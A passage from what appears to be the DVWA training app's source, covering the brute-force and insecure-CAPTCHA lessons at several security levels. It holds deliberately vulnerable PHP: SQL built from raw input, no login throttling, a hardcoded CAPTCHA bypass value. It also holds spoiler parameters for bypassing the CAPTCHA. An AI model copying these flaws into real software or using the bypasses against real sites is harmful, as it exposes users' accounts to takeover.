visible.</p>\r\n\r\n\t\t<p>This will only slow down the amount of requests which can be processed a minute, making it longer to brute force.</p>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>There has been an \"anti Cross-Site Request Forgery (CSRF) token\" used. There is a old myth that this protection will stop brute force attacks. This is not the case.\r\n\t\t\tThis level also extends on the medium level, by waiting when there is a failed login but this time it is a random amount of time between two and four seconds.\r\n\t\t\tThe idea of this is to try and confuse any timing predictions.</p>\r\n\r\n\t\t<p>Using a <?php echo dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/CAPTCHA', 'CAPTCHA' ); ?> form could have a similar effect as a CSRF token.</p>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>Brute force (and user enumeration) should not be possible in the impossible level. The developer has added a \"lock out\" feature, where if there are five bad logins within\r\n\t\t\tthe last 15 minutes, the locked out user cannot log in.</p>\r\n\r\n\t\t<p>If the locked out user tries to login, even with a valid password, it will say their username or password is incorrect. This will make it impossible to know\r\n\t\t\tif there is a valid account on the system, with that password, and if the account is locked.</p>\r\n\r\n\t\t<p>This can cause a \"Denial of Service\" (DoS), by having someone continually trying to login to someone's account.\r\n\t\t\tThis level would need to be extended by blacklisting the attacker (e.g. IP address, country, user-agent).</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Password_cracking' ); ?></p>\r\n</div>\r\n"
  },
  {
    "path": "vulnerabilities/brute/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: Brute Force' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'brute';\r\n$page[ 'help_button' ]   = 'brute';\r\n$page[ 'source_button' ] = 'brute';\r\ndvwaDatabaseConnect();\r\n\r\n$method            = 'GET';\r\n$vulnerabilityFile = '';\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$vulnerabilityFile = 'low.php';\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$vulnerabilityFile = 'medium.php';\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$vulnerabilityFile = 'high.php';\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$vulnerabilityFile = 'impossible.php';\r\n\t\t$method = 'POST';\r\n\t\tbreak;\r\n}\r\n\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/brute/source/{$vulnerabilityFile}\";\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: Brute Force</h1>\r\n\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t<h2>Login</h2>\r\n\r\n\t\t<form action=\\\"#\\\" method=\\\"{$method}\\\">\r\n\t\t\tUsername:<br />\r\n\t\t\t<input type=\\\"text\\\" name=\\\"username\\\"><br />\r\n\t\t\tPassword:<br />\r\n\t\t\t<input type=\\\"password\\\" AUTOCOMPLETE=\\\"off\\\" name=\\\"password\\\"><br />\r\n\t\t\t<br />\r\n\t\t\t<input type=\\\"submit\\\" value=\\\"Login\\\" name=\\\"Login\\\">\\n\";\r\n\r\nif( $vulnerabilityFile == 'high.php' || $vulnerabilityFile == 'impossible.php' )\r\n\t$page[ 'body' ] .= \"\t\t\t\" . tokenField();\r\n\r\n$page[ 'body' ] .= \"\r\n\t\t</form>\r\n\t\t{$html}\r\n\t</div>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/Brute_force_attack' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.symantec.com/connect/articles/password-crackers-ensuring-security-your-password' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.golinuxcloud.com/brute-force-attack-web-forms' ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/brute/source/high.php",
    "content": "<?php\r\n\r\nif( isset( $_GET[ 'Login' ] ) ) {\r\n\t// Check Anti-CSRF token\r\n\tcheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );\r\n\r\n\t// Sanitise username input\r\n\t$user = $_GET[ 'username' ];\r\n\t$user = stripslashes( $user );\r\n\t$user = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $user ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\r\n\t// Sanitise password input\r\n\t$pass = $_GET[ 'password' ];\r\n\t$pass = stripslashes( $pass );\r\n\t$pass = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t$pass = md5( $pass );\r\n\r\n\t// Check database\r\n\t$query  = \"SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';\";\r\n\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n\r\n\tif( $result && mysqli_num_rows( $result ) == 1 ) {\r\n\t\t// Get users details\r\n\t\t$row    = mysqli_fetch_assoc( $result );\r\n\t\t$avatar = $row[\"avatar\"];\r\n\r\n\t\t// Login successful\r\n\t\t$html .= \"<p>Welcome to the password protected area {$user}</p>\";\r\n\t\t$html .= \"<img src=\\\"{$avatar}\\\" />\";\r\n\t}\r\n\telse {\r\n\t\t// Login failed\r\n\t\tsleep( rand( 0, 3 ) );\r\n\t\t$html .= \"<pre><br />Username and/or password incorrect.</pre>\";\r\n\t}\r\n\r\n\t((is_null($___mysqli_res = mysqli_close($GLOBALS[\"___mysqli_ston\"]))) ? false : $___mysqli_res);\r\n}\r\n\r\n// Generate Anti-CSRF token\r\ngenerateSessionToken();\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/brute/source/impossible.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {\r\n\t// Check Anti-CSRF token\r\n\tcheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );\r\n\r\n\t// Sanitise username input\r\n\t$user = $_POST[ 'username' ];\r\n\t$user = stripslashes( $user );\r\n\t$user = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $user ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\r\n\t// Sanitise password input\r\n\t$pass = $_POST[ 'password' ];\r\n\t$pass = stripslashes( $pass );\r\n\t$pass = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t$pass = md5( $pass );\r\n\r\n\t// Default values\r\n\t$total_failed_login = 3;\r\n\t$lockout_time       = 15;\r\n\t$account_locked     = false;\r\n\r\n\t// Check the database (Check user information)\r\n\t$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );\r\n\t$data->bindParam( ':user', $user, PDO::PARAM_STR );\r\n\t$data->execute();\r\n\t$row = $data->fetch();\r\n\r\n\t// Check to see if the user has been locked out.\r\n\tif( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {\r\n\t\t// User locked out.  Note, using this method would allow for user enumeration!\r\n\t\t//$html .= \"<pre><br />This account has been locked due to too many incorrect logins.</pre>\";\r\n\r\n\t\t// Calculate when the user would be allowed to login again\r\n\t\t$last_login = strtotime( $row[ 'last_login' ] );\r\n\t\t$timeout    = $last_login + ($lockout_time * 60);\r\n\t\t$timenow    = time();\r\n\r\n\t\t/*\r\n\t\tprint \"The last login was: \" . date (\"h:i:s\", $last_login) . \"<br />\";\r\n\t\tprint \"The timenow is: \" . date (\"h:i:s\", $timenow) . \"<br />\";\r\n\t\tprint \"The timeout is: \" . date (\"h:i:s\", $timeout) . \"<br />\";\r\n\t\t*/\r\n\r\n\t\t// Check to see if enough time has passed, if it hasn't locked the account\r\n\t\tif( $timenow < $timeout ) {\r\n\t\t\t$account_locked = true;\r\n\t\t\t// print \"The account is locked<br />\";\r\n\t\t}\r\n\t}\r\n\r\n\t// Check the database (if username matches the password)\r\n\t$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );\r\n\t$data->bindParam( ':user', $user, PDO::PARAM_STR);\r\n\t$data->bindParam( ':password', $pass, PDO::PARAM_STR );\r\n\t$data->execute();\r\n\t$row = $data->fetch();\r\n\r\n\t// If its a valid login...\r\n\tif( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {\r\n\t\t// Get users details\r\n\t\t$avatar       = $row[ 'avatar' ];\r\n\t\t$failed_login = $row[ 'failed_login' ];\r\n\t\t$last_login   = $row[ 'last_login' ];\r\n\r\n\t\t// Login successful\r\n\t\t$html .= \"<p>Welcome to the password protected area <em>{$user}</em></p>\";\r\n\t\t$html .= \"<img src=\\\"{$avatar}\\\" />\";\r\n\r\n\t\t// Had the account been locked out since last login?\r\n\t\tif( $failed_login >= $total_failed_login ) {\r\n\t\t\t$html .= \"<p><em>Warning</em>: Someone might of been brute forcing your account.</p>\";\r\n\t\t\t$html .= \"<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>{$last_login}</em>.</p>\";\r\n\t\t}\r\n\r\n\t\t// Reset bad login count\r\n\t\t$data = $db->prepare( 'UPDATE users SET failed_login = \"0\" WHERE user = (:user) LIMIT 1;' );\r\n\t\t$data->bindParam( ':user', $user, PDO::PARAM_STR );\r\n\t\t$data->execute();\r\n\t} else {\r\n\t\t// Login failed\r\n\t\tsleep( rand( 2, 4 ) );\r\n\r\n\t\t// Give the user some feedback\r\n\t\t$html .= \"<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>\";\r\n\r\n\t\t// Update bad login count\r\n\t\t$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );\r\n\t\t$data->bindParam( ':user', $user, PDO::PARAM_STR );\r\n\t\t$data->execute();\r\n\t}\r\n\r\n\t// Set the last login time\r\n\t$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );\r\n\t$data->bindParam( ':user', $user, PDO::PARAM_STR );\r\n\t$data->execute();\r\n}\r\n\r\n// Generate Anti-CSRF token\r\ngenerateSessionToken();\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/brute/source/low.php",
    "content": "<?php\r\n\r\nif( isset( $_GET[ 'Login' ] ) ) {\r\n\t// Get username\r\n\t$user = $_GET[ 'username' ];\r\n\r\n\t// Get password\r\n\t$pass = $_GET[ 'password' ];\r\n\t$pass = md5( $pass );\r\n\r\n\t// Check the database\r\n\t$query  = \"SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';\";\r\n\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n\r\n\tif( $result && mysqli_num_rows( $result ) == 1 ) {\r\n\t\t// Get users details\r\n\t\t$row    = mysqli_fetch_assoc( $result );\r\n\t\t$avatar = $row[\"avatar\"];\r\n\r\n\t\t// Login successful\r\n\t\t$html .= \"<p>Welcome to the password protected area {$user}</p>\";\r\n\t\t$html .= \"<img src=\\\"{$avatar}\\\" />\";\r\n\t}\r\n\telse {\r\n\t\t// Login failed\r\n\t\t$html .= \"<pre><br />Username and/or password incorrect.</pre>\";\r\n\t}\r\n\r\n\t((is_null($___mysqli_res = mysqli_close($GLOBALS[\"___mysqli_ston\"]))) ? false : $___mysqli_res);\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/brute/source/medium.php",
    "content": "<?php\r\n\r\nif( isset( $_GET[ 'Login' ] ) ) {\r\n\t// Sanitise username input\r\n\t$user = $_GET[ 'username' ];\r\n\t$user = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $user ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\r\n\t// Sanitise password input\r\n\t$pass = $_GET[ 'password' ];\r\n\t$pass = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t$pass = md5( $pass );\r\n\r\n\t// Check the database\r\n\t$query  = \"SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';\";\r\n\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n\r\n\tif( $result && mysqli_num_rows( $result ) == 1 ) {\r\n\t\t// Get users details\r\n\t\t$row    = mysqli_fetch_assoc( $result );\r\n\t\t$avatar = $row[\"avatar\"];\r\n\r\n\t\t// Login successful\r\n\t\t$html .= \"<p>Welcome to the password protected area {$user}</p>\";\r\n\t\t$html .= \"<img src=\\\"{$avatar}\\\" />\";\r\n\t}\r\n\telse {\r\n\t\t// Login failed\r\n\t\tsleep( 2 );\r\n\t\t$html .= \"<pre><br />Username and/or password incorrect.</pre>\";\r\n\t}\r\n\r\n\t((is_null($___mysqli_res = mysqli_close($GLOBALS[\"___mysqli_ston\"]))) ? false : $___mysqli_res);\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/captcha/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - Insecure CAPTCHA</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>A <?php echo dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/CAPTCHA', 'CAPTCHA' ); ?> is a program that can tell whether its user is a human or a computer. You've probably seen\r\n\t\t\tthem - colourful images with distorted text at the bottom of Web registration forms. CAPTCHAs are used by many websites to prevent abuse from\r\n\t\t\t\"bots\", or automated programs usually written to generate spam. No computer program can read distorted text as well as humans can, so bots\r\n\t\t\tcannot navigate sites protected by CAPTCHAs.</p>\r\n\r\n\t\t<p>CAPTCHAs are often used to protect sensitive functionality from automated bots. Such functionality typically includes user registration and changes,\r\n\t\t\tpassword changes, and posting content. In this example, the CAPTCHA is guarding the change password functionality for the user account. This provides\r\n\t\t\tlimited protection from CSRF attacks as well as automated bot guessing.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>Your aim, change the current user's password in a automated manner because of the poor CAPTCHA system.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>The issue with this CAPTCHA is that it is easily bypassed. The developer has made the assumption that all users will progress through screen 1, complete the CAPTCHA, and then\r\n\t\t\tmove on to the next screen where the password is actually updated. By submitting the new password directly to the change page, the user may bypass the CAPTCHA system.</p>\r\n\r\n\t\t<p>The parameters required to complete this challenge in low security would be similar to the following:</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">?step=2&password_new=password&password_conf=password&Change=Change</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>The developer has attempted to place state around the session and keep track of whether the user successfully completed the\r\n\t\t\tCAPTCHA prior to submitting data. Because the state variable (Spoiler: <span class=\"spoiler\">passed_captcha</span>) is on the client side,\r\n\t\t\tit can also be manipulated by the attacker like so:</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">?step=2&password_new=password&password_conf=password&passed_captcha=true&Change=Change</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>There has been development code left in, which was never removed in production. It is possible to mimic the development values, to allow\r\n\t\t\tinvalid values in be placed into the CAPTCHA field.</p>\r\n\t\t<p>You will need to spoof your user-agent (Spoiler: <span class=\"spoiler\">reCAPTCHA</span>) as well as use the CAPTCHA value of\r\n\t\t\t(Spoiler: <span class=\"spoiler\">hidd3n_valu3</span>) to skip the check.</p>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>In the impossible level, the developer has removed all avenues of attack. The process has been simplified so that data and CAPTCHA verification occurs in one\r\n\t\t\tsingle step. Alternatively, the developer could have moved the state variable server side (from the medium level), so the user cannot alter it.</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/CAPTCHA' ); ?></p>\r\n</div>\r\n"
  },
  {
    "path": "vulnerabilities/captcha/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"external/recaptcha/recaptchalib.php\";\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: Insecure CAPTCHA' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'captcha';\r\n$page[ 'help_button' ]   = 'captcha';\r\n$page[ 'source_button' ] = 'captcha';\r\n\r\ndvwaDatabaseConnect();\r\n\r\n$vulnerabilityFile = '';\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$vulnerabilityFile = 'low.php';\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$vulnerabilityFile = 'medium.php';\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$vulnerabilityFile = 'high.php';\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$vulnerabilityFile = 'impossible.php';\r\n\t\tbreak;\r\n}\r\n\r\n$hide_form = false;\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/captcha/source/{$vulnerabilityFile}\";\r\n\r\n// Check if we have a reCAPTCHA key\r\n$WarningHtml = '';\r\nif( $_DVWA[ 'recaptcha_public_key' ] == \"\" ) {\r\n\t$WarningHtml = \"<div class=\\\"warning\\\"><em>reCAPTCHA API key missing</em> from config file: \" . realpath( getcwd() . DIRECTORY_SEPARATOR . DVWA_WEB_PAGE_TO_ROOT . \"config\" . DIRECTORY_SEPARATOR . \"config.inc.php\" ) . \"</div>\";\r\n\t$html = \"<em>Please register for a key</em> from reCAPTCHA: \" . dvwaExternalLinkUrlGet( 'https://www.google.com/recaptcha/admin/create' );\r\n\t$hide_form = true;\r\n}\r\n\r\n$page[ 'body' ] .= \"\r\n\t<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: Insecure CAPTCHA</h1>\r\n\r\n\t{$WarningHtml}\r\n\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t<form action=\\\"#\\\" method=\\\"POST\\\" \";\r\n\r\nif( $hide_form )\r\n\t$page[ 'body' ] .= \"style=\\\"display:none;\\\"\";\r\n\r\n$page[ 'body' ] .= \">\r\n\t\t\t<h3>Change your password:</h3>\r\n\t\t\t<br />\r\n\r\n\t\t\t<input type=\\\"hidden\\\" name=\\\"step\\\" value=\\\"1\\\" />\\n\";\r\n\r\nif( $vulnerabilityFile == 'impossible.php' ) {\r\n\t$page[ 'body' ] .= \"\r\n\t\t\tCurrent password:<br />\r\n\t\t\t<input type=\\\"password\\\" AUTOCOMPLETE=\\\"off\\\" name=\\\"password_current\\\"><br />\";\r\n}\r\n\r\n$page[ 'body' ] .= \"\t\t\tNew password:<br />\r\n\t\t\t<input type=\\\"password\\\" AUTOCOMPLETE=\\\"off\\\" name=\\\"password_new\\\"><br />\r\n\t\t\tConfirm new password:<br />\r\n\t\t\t<input type=\\\"password\\\" AUTOCOMPLETE=\\\"off\\\" name=\\\"password_conf\\\"><br />\r\n\r\n\t\t\t\" . recaptcha_get_html( $_DVWA[ 'recaptcha_public_key' ] );\r\nif( $vulnerabilityFile == 'high.php' )\r\n\t$page[ 'body' ] .= \"\\n\\n\t\t\t<!-- **DEV NOTE**   Response: 'hidd3n_valu3'   &&   User-Agent: 'reCAPTCHA'   **/DEV NOTE** -->\\n\";\r\n\r\nif( $vulnerabilityFile == 'high.php' || $vulnerabilityFile == 'impossible.php' )\r\n\t$page[ 'body' ] .= \"\\n\t\t\t\" . tokenField();\r\n\r\n$page[ 'body' ] .= \"\r\n\t\t\t<br />\r\n\r\n\t\t\t<input type=\\\"submit\\\" value=\\\"Change\\\" name=\\\"Change\\\">\r\n\t\t</form>\r\n\t\t{$html}\r\n\t</div>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/CAPTCHA' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.google.com/recaptcha/' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-009_CAPTCHA_Defeat' ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/captcha/source/high.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Change' ] ) ) {\r\n\t// Hide the CAPTCHA form\r\n\t$hide_form = true;\r\n\r\n\t// Get input\r\n\t$pass_new  = $_POST[ 'password_new' ];\r\n\t$pass_conf = $_POST[ 'password_conf' ];\r\n\r\n\t// Check CAPTCHA from 3rd party\r\n\t$resp = recaptcha_check_answer(\r\n\t\t$_DVWA[ 'recaptcha_private_key' ],\r\n\t\t$_POST['g-recaptcha-response']\r\n\t);\r\n\r\n\tif (\r\n\t\t$resp || \r\n\t\t(\r\n\t\t\t$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'\r\n\t\t\t&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'\r\n\t\t)\r\n\t){\r\n\t\t// CAPTCHA was correct. Do both new passwords match?\r\n\t\tif ($pass_new == $pass_conf) {\r\n\t\t\t$pass_new = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass_new ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t\t\t$pass_new = md5( $pass_new );\r\n\r\n\t\t\t// Update database\r\n\t\t\t$insert = \"UPDATE `users` SET password = '$pass_new' WHERE user = '\" . dvwaCurrentUser() . \"' LIMIT 1;\";\r\n\t\t\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n\r\n\t\t\t// Feedback for user\r\n\t\t\t$html .= \"<pre>Password Changed.</pre>\";\r\n\r\n\t\t} else {\r\n\t\t\t// Ops. Password mismatch\r\n\t\t\t$html     .= \"<pre>Both passwords must match.</pre>\";\r\n\t\t\t$hide_form = false;\r\n\t\t}\r\n\r\n\t} else {\r\n\t\t// What happens when the CAPTCHA was entered incorrectly\r\n\t\t$html     .= \"<pre><br />The CAPTCHA was incorrect. Please try again.</pre>\";\r\n\t\t$hide_form = false;\r\n\t\treturn;\r\n\t}\r\n\r\n\t((is_null($___mysqli_res = mysqli_close($GLOBALS[\"___mysqli_ston\"]))) ? false : $___mysqli_res);\r\n}\r\n\r\n// Generate Anti-CSRF token\r\ngenerateSessionToken();\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/captcha/source/impossible.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Change' ] ) ) {\r\n\t// Check Anti-CSRF token\r\n\tcheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );\r\n\r\n\t// Hide the CAPTCHA form\r\n\t$hide_form = true;\r\n\r\n\t// Get input\r\n\t$pass_new  = $_POST[ 'password_new' ];\r\n\t$pass_new  = stripslashes( $pass_new );\r\n\t$pass_new  = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass_new ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t$pass_new  = md5( $pass_new );\r\n\r\n\t$pass_conf = $_POST[ 'password_conf' ];\r\n\t$pass_conf = stripslashes( $pass_conf );\r\n\t$pass_conf = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass_conf ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t$pass_conf = md5( $pass_conf );\r\n\r\n\t$pass_curr = $_POST[ 'password_current' ];\r\n\t$pass_curr = stripslashes( $pass_curr );\r\n\t$pass_curr = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass_curr ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t$pass_curr = md5( $pass_curr );\r\n\r\n\t// Check CAPTCHA from 3rd party\r\n\t$resp = recaptcha_check_answer(\r\n\t\t$_DVWA[ 'recaptcha_private_key' ],\r\n\t\t$_POST['g-recaptcha-response']\r\n\t);\r\n\r\n\t// Did the CAPTCHA fail?\r\n\tif( !$resp ) {\r\n\t\t// What happens when the CAPTCHA was entered incorrectly\r\n\t\t$html .= \"<pre><br />The CAPTCHA was incorrect. Please try again.</pre>\";\r\n\t\t$hide_form = false;\r\n\t}\r\n\telse {\r\n\t\t// Check that the current password is correct\r\n\t\t$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );\r\n\t\t$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );\r\n\t\t$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );\r\n\t\t$data->execute();\r\n\r\n\t\t// Do both new password match and was the current password correct?\r\n\t\tif( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {\r\n\t\t\t// Update the database\r\n\t\t\t$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );\r\n\t\t\t$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );\r\n\t\t\t$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );\r\n\t\t\t$data->execute();\r\n\r\n\t\t\t// Feedback for the end user - success!\r\n\t\t\t$html .= \"<pre>Password Changed.</pre>\";\r\n\t\t}\r\n\t\telse {\r\n\t\t\t// Feedback for the end user - failed!\r\n\t\t\t$html .= \"<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>\";\r\n\t\t\t$hide_form = false;\r\n\t\t}\r\n\t}\r\n}\r\n\r\n// 